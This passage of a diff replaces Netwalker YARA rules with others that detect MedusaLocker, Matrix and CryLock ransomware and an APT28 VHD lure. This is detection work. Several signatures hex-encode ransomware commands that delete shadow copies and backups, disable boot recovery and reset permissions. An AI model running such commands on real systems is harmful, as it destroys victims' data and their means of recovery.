8????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF?????????? }
+		$s1 = { 8d 04 2a 8b f1 3b c8 0f 42 f0 33 c9 8b c6 83 c0 01 0f 92 c1 f7 d9 0b c8 e8 42 00 00 00 53 68 18 2c 41 00 50 89 44 24 1c 89 5f 10 89 77 14 e8 aa 20 00 00 8b 74 24 1c 83 c4 0c c6 04 1e 00 83 fd 10 72 0a 8b 0f 8d 55 01 e8 50 00 00 00 5d 89 37 8b c7 5f 5e 5b 59 }
+		$s2 = { 68 cc 00 00 00 b8 [3] 00 e8 [2] 00 00 8b f1 89 75 8c 83 4d d4 ff 33 c0 83 4d d8 ff 6a 44 5f 57 50 89 45 dc 89 45 e0 8d 45 90 50 e8 [3] 00 8d 46 1c 89 7d 90 83 c4 0c 83 78 14 08 72 02 8b 00 89 45 98 8d 7d e4 33 c0 83 c6 04 ab 8b ce 83 7e 14 08 ab ab 72 02 8b 0e 8b 46 10 8d 04 41 8b ce 72 02 8b 0e ff 75 8c 33 d2 50 51 8d 4d e4 89 55 e4 89 55 e8 89 55 ec e8 [2] fd ff 33 d2 89 55 fc 8b 45 e8 89 55 88 39 45 ec 74 0d 33 c9 66 89 08 83 c0 02 89 45 e8 eb 0f 8d 4d 88 51 50 8d 4d e4 e8 3c 02 00 00 33 d2 8b 7d 8c 8d 4d d4 51 8d 4d 90 51 8b 47 34 52 52 52 52 52 52 ff 75 e4 52 ff 70 04 ff 15 08 [2] 00 85 c0 74 28 ff 75 d8 8d 4f 3c e8 [2] ff ff ff 75 d4 8d }
+		$s3 = { 8b ec 83 e4 f8 83 ec 7c a1 14 50 41 00 33 c4 89 44 24 78 8b 45 0c 8b 4d 08 89 0c 24 53 56 57 83 e8 01 0f 84 05 01 00 00 83 e8 01 0f 84 23 01 00 00 83 e8 0d 74 15 ff 75 14 ff 75 10 ff 75 0c 51 ff 15 2c e1 40 00 e9 0b 01 00 00 8d 44 24 40 c6 05 f4 63 41 00 01 50 51 ff 15 30 e1 40 00 8b d8 6a 00 89 5c 24 18 ff 15 10 e0 40 00 8b f0 8d 44 24 48 56 50 53 ff 15 28 e1 40 00 56 ff 15 0c e0 40 00 83 3d f8 63 41 00 00 0f 84 8d 00 00 00 53 ff 15 04 e0 40 00 ff 35 f8 63 41 00 89 44 24 14 50 ff 15 00 e0 40 00 8b d8 8d 44 24 18 50 6a 18 ff 35 f8 63 41 00 ff 15 14 e0 40 00 8b 7c 24 20 8d 44 24 30 8b 74 24 1c 50 ff 74 24 10 ff 15 44 e1 40 00 8b 44 24 38 2b c6 8b 74 24 10 68 20 00 cc 00 99 2b c2 6a 00 8b c8 8b 44 24 44 6a 00 56 ff 74 24 30 2b c7 d1 f9 ff 74 24 30 99 2b c2 d1 f8 50 51 ff 74 24 34 ff 15 18 e0 40 00 53 56 ff 15 00 e0 40 00 56 ff 15 08 e0 40 00 8d 44 24 40 }
+		$s4 = { 38 1b 38 26 38 2e 38 39 38 3f 38 4a 38 50 38 5e 38 67 38 6c 38 79 38 7e 38 ec 38 }
+		$s5 = { 55 8b ec 51 a1 60 57 41 00 83 f8 fe 75 0a e8 8e 0d 00 00 a1 60 57 41 00 83 f8 ff 75 07 b8 ff ff 00 00 eb 1b 6a 00 8d 4d fc 51 6a 01 8d 4d 08 51 50 ff 15 50 e0 40 00 85 c0 74 e2 66 8b 45 08 8b }
+		$s6 = { 69 63 61 63 6c 73 2e 65 78 65 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 53 79 73 74 65 6d 44 61 74 61 5c 53 2d 31 2d 35 2d 31 38 5c 52 65 61 64 4f 6e 6c 79 22 20 2f 72 65 73 65 74 20 2f 54 }
+		$s7 = { 77 6d 69 63 20 63 6f 6d 70 75 74 65 72 73 79 73 74 65 6d 20 77 68 65 72 65 20 6e 61 6d 65 3d 22 25 63 6f 6d 70 75 74 65 72 6e 61 6d 65 25 22 20 63 61 6c 6c 20 75 6e 6a 6f 69 6e 64 6f 6d 61 69 6e 6f 72 77 6f 72 6b 67 72 6f 75 70 }
+		$s8 = { 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 }
+		$s9 = { 8b 55 ?? 8d 4d ?? e8 ?? ?? fe ff c6 45 fc 08 ff 15 ?? ?? 47 00 8b d0 8d 4d ?? e8 ?? ?? fe ff c6 45 fc 09 8d 45 ?? 50 8d 45 ?? 50 8d 4d ?? e8 ?? ?? ?? ff 83 ec 0c 8b cc 89 65 ?? 51 ff 70 04 ff 30 e8 ?? ?? ?? ff c6 45 fc 0a 83 ec 18 8b cc 89 65 ?? 68 ?? ?? 48 00 e8 ?? ?? ?? ff c6 45 fc 0b c6 45 fc 09 8d }
 
 	condition:
-		uint16(0)==0x5a4d and any of ($pattern*)
+		uint16(0)==0x5A4D and filesize >25KB and 4 of ($s*)
 }
-import "pe"
-
-rule TRELLIX_ARC_Netwalker_Signed : FILE
+rule ARKBIRD_SOLG_RAN_Medusalocker_July_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Netwalker ransomware digitally signed."
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "6806b917-2e02-57e3-887a-b4c12db83653"
-		date = "2020-03-30"
-		modified = "2020-11-20"
-		reference = "https://www.ccn-cert.cni.es/comunicacion-eventos/comunicados-ccn-cert/9802-publicado-un-informe-de-codigo-danino-sobre-netwalker.html"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_netwalker.yar#L30-L47"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "d78ed22771d7c93516375afb8fd2fd7baa40a357ec3c247939a10d11f80ae226"
+		description = "Detect MedusaLocker ransomware"
+		author = "Arkbird_SOLG"
+		id = "7eec35ac-f1ec-596b-8224-ef27e31e841c"
+		date = "2021-07-25"
+		modified = "2021-08-08"
+		reference = "https://twitter.com/r3dbU7z/status/1418433910057353217"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-25/MedusaLocker/RAN_MedusaLocker_July_2021_1.yara#L1-L28"
+		license_url = "N/A"
+		logic_hash = "541665541c07b585a7dfa024f85516b7be94d7d8d76a85e58c8c3b71fd0550ff"
 		score = 75
-		quality = 70
+		quality = 73
 		tags = "FILE"
-		note = "The rule will hit also some Dridex samples digitally signed"
+		hash1 = "033b4950a8f249b20eb86ec6f8f2ea0a1567bb164289d1aa7fb0ba51f9bbe46c"
+		hash2 = "0abb4a302819cdca6c9f56893ca2b52856b55a0aa68a3cb8bdcd55dcc1fad9ad"
+		hash3 = "c2a0a317d73c96428ab088a8f0636ec4ccace7ca691c84ed66a83a70183f40dc"
+		hash4 = "f5fb7fa5231c18f0951c755c4cb0ec07b0889b5e320f42213cbf6bbbe499ad31"
+		tlp = "white"
+		adversary = "RaaS"
+
+	strings:
+		$s1 = { 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 52 00 65 00 73 00 69 00 7a 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 77 00 53 00 74 00 6f 00 72 00 61 00 67 00 65 00 20 00 2f 00 66 00 6f 00 72 00 3d 00 ?? 00 3a 00 20 00 2f 00 6f 00 6e 00 3d 00 ?? 00 3a 00 20 00 2f 00 6d 00 61 00 78 00 73 00 69 00 7a 00 65 00 3d }
+		$s2 = { 64 00 65 00 6c 00 20 00 2f 00 73 00 20 00 2f 00 66 00 20 00 2f 00 71 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 56 00 48 00 44 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 62 00 61 00 63 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 62 00 61 00 6b 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 77 00 62 00 63 00 61 00 74 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 62 00 6b 00 66 00 20 00 ?? 00 3a 00 5c 00 42 00 61 00 63 00 6b 00 75 00 70 00 2a 00 2e 00 2a 00 20 00 ?? 00 3a 00 5c 00 62 00 61 00 63 00 6b 00 75 00 70 00 2a 00 2e 00 2a 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 73 00 65 00 74 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 77 00 69 00 6e 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 64 00 73 00 6b }
+		$s3 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 62 00 6f 00 6f 00 74 00 73 00 74 00 61 00 74 00 75 00 73 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 69 00 67 00 6e 00 6f 00 72 00 65 00 61 00 6c 00 6c 00 66 00 61 00 69 00 6c 00 75 00 72 00 65 00 73 }
+		$s4 = { 42 67 49 41 41 41 43 6b 41 41 42 53 55 30 45 78 }
+		$s5 = "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest" fullword wide
+		$s6 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 20 00 4e 00 6f }
+		$s7 = { 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 41 00 6c 00 6c 00 20 00 2f 00 51 00 75 00 69 00 65 00 74 }
+		$s8 = { 77 00 6d 00 69 00 63 00 2e 00 65 00 78 00 65 00 20 00 53 00 48 00 41 00 44 00 4f 00 57 00 43 00 4f 00 50 00 59 00 20 00 2f 00 6e 00 6f 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 }
+		$s9 = { 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 20 00 44 00 45 00 4c 00 45 00 54 00 45 00 20 00 53 00 59 00 53 00 54 00 45 00 4d 00 53 00 54 00 41 00 54 00 45 00 42 00 41 00 43 00 4b 00 55 00 50 }
+		$s10 = { 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 20 4c 49 53 54 20 4f 46 20 45 4e 43 52 59 50 54 45 44 20 46 49 4c 45 53 20 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 0d 0a }
+		$x1 = { 48 89 5c 24 08 57 48 83 ec 30 48 8b da 48 8b f9 e8 0b fe ff ff 44 8b 43 08 48 8d 47 28 44 2b 03 45 33 c9 48 8b 13 48 8b 4f 20 48 89 44 24 28 c7 44 24 20 00 00 00 00 ff 15 [2] 07 00 85 c0 74 12 c6 47 08 01 48 8b c7 48 8b 5c 24 40 48 83 c4 30 5f c3 ff 15 [2] 07 00 48 8b 5c 24 40 89 47 34 48 8b c7 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "/CN=EWBTCAXQKUMDTHCXCZ" and pe.signatures[i].serial=="17:16:bb:93:fb:a9:a2:41:ba:a8:2e:c7:5e:ff:0c" or pe.signatures[i].thumbprint=="a4:28:e9:4a:61:3a:1f:cf:ff:08:bf:e7:61:51:64:31:1a:6f:87:bc")
+		uint16(0)==0x5A4D and filesize >150KB and 9 of ($s*) and $x1
 }
-import "pe"
-
-rule TRELLIX_ARC_Netwalker : RANSOMWARE FILE
+rule ARKBIRD_SOLG_RAN_Matrix_Sep_2020_1 : FILE
 {
 	meta:
-		description = "Rule based on code overlap in RagnarLocker ransomware"
-		author = "McAfee ATR team"
-		id = "80097a40-534a-5e1b-8fde-e4d832d76698"
-		date = "2020-06-14"
-		modified = "2020-11-20"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_netwalker.yar#L49-L75"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "8c56ebed9e097d294045de46942c708da9ba7e01475dcecb0c3d41fcc8004780"
+		description = "Detect MATRIX ransomware"
+		author = "Arkbird_SOLG"
+		id = "a7df188c-e381-55e6-97e6-45f5830ff0d3"
+		date = "2020-10-15"
+		modified = "2020-10-15"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-15/MATRIX/RAN_Matrix_Sep_2020_1.yar#L1-L28"
+		license_url = "N/A"
+		logic_hash = "e832b258e8d2ee94ebbf2e715ca01960a92d723ee017261b18ce05d3095bf8a3"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "7b5e536827c3bb9f8077aed78726585739bcde796904edd6c4faadc9a8d22eaf"
+		hash2 = "afca3b84177133ff859d9b9d620b582d913218723bfcf83d119ec125b88a8c40"
+		hash3 = "d87d1fbeffe5b18e22f288780bf50b1e7d5af9bbe2480c80ea2a7497a3d52829"
+		hash4 = "5474b58de90ad79d6df4c633fb773053fecc16ad69fb5b86e7a2b640a2a056d6"
 
 	strings:
-		$0 = {C88BF28B4330F76F3803C88B434813F2F76F2003C88B433813F2F76F3003C88B434013F2F76F2803C88B432813F2F76F4003C8894D6813F289756C8B4338F76F388BC88BF28B4328F76F4803C88B434813F2F76F2803C88B433013F2F76F400FA4CE}
-		$1 = {89542414895424108BEA8BDA8BFA423C22747C3C5C75588A023C5C744F3C2F744B3C2274473C6275078D5702B008EB3F3C6675078D5302B00CEB343C6E75078D5502B00AEB293C72750B8B542410B00D83C202EB1A3C74750B8B542414B00983C2}
-		$2 = {C8894D7013F28975748B4338F76F408BC88BF28B4340F76F3803C88B433013F2F76F4803C88B434813F2F76F3003C8894D7813F289757C8B4348F76F388BC88BF28B4338F76F4803C88B434013F2F76F400FA4CE}
-		$3 = {C07439473C2F75E380FB2A74DEEB2D8D4ABF8D422080F9190FB6D80FB6C28AD60F47D88AC6042080EA410FB6C880FA190FB6C60F47C83ACB754B46478A1684D2}
-		$4 = {8B433013F2F76F0803C88B432013F2F76F1803C88B0313F2F76F3803C88B430813F2F76F3003C88B433813F2F72F03C8894D3813F289753C8B4338F76F088BC8}
-		$5 = {F73101320E32213234329832E3320C332D334733643383339133A833BD33053463347C34543564358335AE36C3362937E9379A39BA390A3A203A443A183B2B3B}
-		$6 = {8B431813F2F76F4803C88B432813F2F76F3803C88B434013F2F76F200FA4CE0103C903C88B432013F2F76F4003C88B433013F2F76F3003C8894D6013F2897564}
+		$debug1 = "[LDRIVES]: not found!" fullword wide
+		$debug2 = "[DONE]: NO_SHARES!" fullword wide
+		$debug3 = "[ALL_LOCAL_KID]: " fullword wide
+		$debug4 = "[FINISHED]: G=" fullword wide
+		$debug5 = "[FEX_START]" fullword wide
+		$debug6 = "[LOGSAVED]" fullword wide
+		$debug7 = "[GENKEY]" fullword wide
+		$debug8 = "[SHARES]" fullword wide
+		$debug9 = "[SHARESSCAN]: " fullword wide
+		$reg1 = { 2e 00 70 00 68 00 70 00 3f 00 61 00 70 00 69 00 6b 00 65 00 79 00 3d }
+		$reg2 = { 26 00 63 00 6f 00 6d 00 70 00 75 00 73 00 65 00 72 00 3d }
+		$reg3 = { 26 00 73 00 69 00 64 00 3d 00 }
+		$reg4 = { 26 00 70 00 68 00 61 00 73 00 65 00 3d }
+		$reg5 = { 47 00 45 00 54 }
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and all of them
+		uint16(0)==0x5a4d and filesize >500KB and 4 of ($debug*) and 3 of ($reg*)
 }
-import "pe"
-
-rule TRELLIX_ARC_Win_Netwalker_Reflective_Dll_Injection_Decoded : RANSOMWARE
+rule ARKBIRD_SOLG_RAN_Crylock_Oct_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect Reflective DLL Injection Powershell Script dropping Netwalker, after hexadecimal decoded and xor decrypted "
-		author = "McAfee ATR Team"
-		id = "9562c0b9-e7ac-5b96-99cc-1df91cb617af"
-		date = "2020-05-28"
-		modified = "2020-11-20"
-		reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/ | https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_netwalker.yar#L77-L140"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "fd29001b8b635e6c51270788bab7af0bb5adba6917c278b93161cfc2bc7bd6ae"
-		logic_hash = "e99c045f39e7933e877a4df7793aa5ea6be5a782bb079419501929ba99844dec"
+		description = "Detect CryLock ransomware V2.0.0"
+		author = "Arkbird_SOLG"
+		id = "642211e0-b5fe-5842-ab16-ca1fc8d00ac0"
+		date = "2020-10-14"
+		modified = "2020-10-15"
+		reference = "https://twitter.com/JAMESWT_MHT/status/1316426560803680257"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-15/Crylock/RAN_CryLock_Oct_2020_1.yar#L1-L31"
+		license_url = "N/A"
+		logic_hash = "5d9aae41283c5738f2e584ea8d236ae64f7615ec629f9513fddb611714ddc230"
 		score = 75
-		quality = 30
-		tags = "RANSOMWARE"
-		rule_version = "v1"
-		malware_type = "ransomware"
+		quality = 71
+		tags = "FILE"
+		hash1 = "04d8109c6c78055d772c01fefe1e5f48a70f2a65535cff17227b5a2c8506b831"
+
+	strings:
+		$s1 = "All commands sended to execution" fullword ascii
+		$s2 = "Processesblacklist1" fullword ascii
+		$s3 = "Execute all" fullword ascii
+		$s4 = "config.txt" fullword ascii
+		$debug1 = "Processed files: " fullword ascii
+		$debug2 = "Next -->" fullword ascii
+		$debug3 = "Status: scan network" fullword ascii
+		$debug4 = { 49 45 28 41 4c 28 22 25 73 22 2c 34 29 2c 22 41 4c 28 5c 22 25 30 3a 73 5c 22 2c 33 29 22 2c 22 4a 4b 28 5c 22 25 31 3a 73 5c 22 2c 5c 22 25 30 3a 73 5c 22 29 22 29 }
+		$debug5 = { 4a 75 6d 70 49 44 28 22 22 2c 22 25 73 22 29 }
+		$debug6 = { 45 6e 63 72 79 70 74 65 64 20 62 79 20 42 6c 61 63 6b 52 61 62 62 69 74 2e 20 28 [3-10] 29 }
+		$ran1 = "w_to_decrypt.hta" wide
+		$ran2 = "<%UNDECRYPT_DATETIME%>" fullword ascii
+		$ran3 = "<%START_DATETIME%>" fullword ascii
+		$ran4 = "<%MAIN_CONTACT%>" fullword ascii
+		$ran5 = "<%RESERVE_CONTACT%>" fullword ascii
+		$ran6 = "<%HID%>" fullword ascii
+
+	condition:
+		uint16(0)==0x5a4d and filesize >300KB and 3 of ($s*) and 4 of ($debug*) and 4 of ($ran*)
+}
+import "pe"
+
+rule ARKBIRD_SOLG_APT_APT28_VHD_Nov_2020_1 : FILE
+{
+	meta:
+		description = "Detect suspicious VHD file with APT28 artefacts inside (November 2020)"
+		author = "Arkbird_SOLG"
+		id = "25452eaa-f135-5b7f-a523-67715a2ab9f7"
+		date = "2020-12-09"
+		modified = "2020-12-10"
+		reference = "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-09/APT28/APT_APT28_Nov_2020_1.yar#L3-L35"
+		license_url = "N/A"
+		logic_hash = "d72c3428cf731feb63c59ef109b99ec234e69bb6df34bdde928cc4b886f0533b"
+		score = 50
+		quality = 69
+		tags = "FILE"
+		level = "experimental"
+		hash1 = "707b752f6bd89d4f97d08602d0546a56d27acfe00e6d5df2a2cb67c5e2eeee30"
 
 	strings:
-		$api0 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 20 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 56 69 72 74 75 61 6c 41 6c 6c 6f 63 22 29 5d }
-		$api1 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 22 29 5d }
-		$api2 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 4c 6f 61 64 4c 69 62 72 61 72 79 41 22 29 5d }
-		$api3 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 22 29 5d }
-		$api4 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 56 69 72 74 75 61 6c 46 72 65 65 22 29 5d }
-		$api5 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 22 29 5d }
-		$api6 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 43 6c 6f 73 65 48 61 6e 64 6c 65 22 29 5d }
-		$api7 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 20 53 65 74 4c 61 73 74 45 72 72 6f 72 3d 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 22 29 5d }
-		$api8 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 20 53 65 74 4c 61 73 74 45 72 72 6f 72 3d 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 45 78 22 29 5d }
-		$api9 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 20 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 4f 70 65 6e 50 72 6f 63 65 73 73 22 29 5d }
-		$api10 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 22 29 5d }
